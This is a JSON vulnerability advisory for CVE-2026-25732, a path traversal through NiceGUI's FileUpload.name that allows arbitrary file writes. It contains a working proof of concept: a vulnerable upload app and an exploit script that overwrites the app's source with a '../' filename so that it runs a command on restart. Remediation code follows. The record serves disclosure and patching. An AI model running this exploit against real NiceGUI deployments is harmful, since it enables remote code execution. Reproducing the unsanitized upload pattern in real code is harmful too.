{"id":"CVE-2026-25732","aliases":["GHSA-9ffm-fxg3-xrhh","PYSEC-2026-95"],"url":"https://o3.security/vulnerability/CVE-2026-25732","summary":"NiceGUI's Path Traversal via Unsanitized FileUpload.name Enables Arbitrary File Write","details":"### Summary\nNiceGUI's `FileUpload.name` property exposes client-supplied filename metadata without sanitization, enabling path traversal when developers use the pattern `UPLOAD_DIR / file.name`. Malicious filenames containing `../` sequences allow attackers to write files outside intended directories, with potential for remote code execution through application file overwrites in vulnerable deployment patterns. This design creates a prevalent security footgun affecting applications following common community patterns.\n\n**Note**: Exploitation requires application code incorporating `file.name` into filesystem paths without sanitization. Applications using fixed paths, generated filenames, or explicit sanitization are not affected.\n\n### Details\n**Vulnerable Component**: `nicegui/elements/upload_files.py` ([upload_files.py#L79-L82](https://github.com/zauberzeug/nicegui/blob/main/nicegui/elements/upload_files.py#L79-L82) and [upload_files.py#L110-L115](https://github.com/zauberzeug/nicegui/blob/main/nicegui/elements/upload_files.py#L110-L115))\n\n**Affected Methods**: `SmallFileUpload.save()`and `LargeFileUpload.save()`\n\n```py\nasync def save(self, path: str | Path) -> None:\n    target = Path(path)\n    target.parent.mkdir(parents=True, exist_ok=True)\n    await run.io_bound(target.write_bytes, self._data)\n```\n\n**Root Cause**: The `save()` method performs no validation on the provided path parameter. It accepts:\n- Relative paths with `../` sequences\n- Absolute paths\n- Any file system location writable by the process\n\nWhen developers use `e.file.name` (controlled by the attacker) in constructing save paths, directory traversal occurs:\n```py\nsave_path = UPLOAD_DIR / e.file.name  # e.file.name = \"../app.py\"\nawait e.file.save(save_path)           # Writes outside UPLOAD_DIR\n```\n\n### PoC\n- Terminal 1 (App)\n```bash\ncd /tmp && mkdir -p evilgui && cd evilgui\npython3 -m venv evilgui && source evilgui/bin/activate\npip install nicegui\n\ncat > vulnerable_app.py << 'EOF'\nfrom nicegui import ui\nfrom pathlib import Path\n\nUPLOAD_DIR = Path('./uploads')\nUPLOAD_DIR.mkdir(exist_ok=True)\n\n@ui.page('/')\ndef index():\n    async def handle_upload(e):\n        save_path = UPLOAD_DIR / e.file.name\n        await e.file.save(save_path)\n        ui.notify(f'File saved: {e.file.name}')\n    \n    ui.upload(on_upload=handle_upload, auto_upload=True)\n\nui.run(port=8080, reload=False)\nEOF\n\npython3 vulnerable_app.py &\n```\n\n- Terminal 2 (Exploit)\n```bash\ncat > exploit.py << 'EOF'\nimport requests, re, time\n\ns = requests.Session()\ns.get('http://localhost:8080')\ntime.sleep(2)\n\nhtml = s.get('http://localhost:8080').text\nmatch = re.search(r'/_nicegui/client/([^/]+)/upload/(\\d+)', html)\nupload_url = f'http://localhost:8080/_nicegui/client/{match[1]}/upload/{match[2]}'\n\npayload = '''from nicegui import ui\nimport subprocess\n@ui.page(\"/\")\ndef index():\n    ui.label(subprocess.check_output([\"id\"], text=True))\nui.run(port=8080, reload=False)\n'''\n\ns.post(upload_url, files={'file': ('../vulnerable_app.py', payload, 'text/x-python')})\nEOF\n\npython3 exploit.py\n```\n- Restart the application to execute the injected code:\n```\npkill -f vulnerable_app && python3 vulnerable_app.py\n```\n- Observe http://localhost:8080\n\n### Impact\n**Affected Applications**: All NiceGUI applications using `ui.upload()` where developers save files with `e.file.save()` and include user-controlled filenames (e.g., `e.file.name`) in the path.\n\n**Attack Capabilities**:\n- Write files to any location writable by the application process\n- Overwrite Python application files to achieve remote code execution upon restart\n- Overwrite configuration files to alter application behavior\n- Write SSH keys, systemd units, or cron jobs for persistent access\n- Deny service by corrupting critical files\n\n**Exploitability**: Trivially exploitable without authentication. Attackers simply upload a file with a malicious filename like `../../../app.py` to escape the upload directory. The vulnerability is prevalent in production applications as developers naturally use `e.file.name` directly, following patterns shown in community examples.\n\n### Remediation\n#### For Users\n```py\nasync def handle_upload(e):\n    safe_name = Path(e.file.name).name # Strip directory components!\n    await e.file.save(UPLOAD_DIR / safe_name)\n```\n\n#### For Maintainers\n```py\nasync def save(self, path: str | Path, *, base_dir: Path | None = None) -> None:\n    target = Path(path).resolve()\n    \n    if base_dir is not None:\n        base_dir = base_dir.resolve()\n        if not target.is_relative_to(base_dir):\n            raise ValueError(\n                f\"Path '{target}' escapes base directory '{base_dir}'\"\n            )\n    \n    target.parent.mkdir(parents=True, exist_ok=True)\n    await run.io_bound(target.write_bytes, self._data)\n````","published":"2026-02-06T21:09:58.389Z","modified":"2026-10-28T02:30:42.345477698Z","cvss":{"score":7.5,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":1,"affectedPackages":[{"ecosystem":"PyPI","name":"nicegui","fixedVersion":"3.7.0"}],"fix":null,"references":[{"type":"WEB","url":"https://github.com/zauberzeug/nicegui/blob/main/nicegui/elements/upload_files.py#L110-L115"},{"type":"WEB","url":"https://github.com/zauberzeug/nicegui/blob/main/nicegui/elements/upload_files.py#L79-L82"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/25xxx/CVE-2026-25732.json"},{"type":"ADVISORY","url":"https://github.com/zauberzeug/nicegui/security/advisories/GHSA-9ffm-fxg3-xrhh"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25732"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/nicegui/PYSEC-2026-95.yaml"},{"type":"PACKAGE","url":"https://github.com/zauberzeug/nicegui"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-28T02:30:42.345477698Z"}}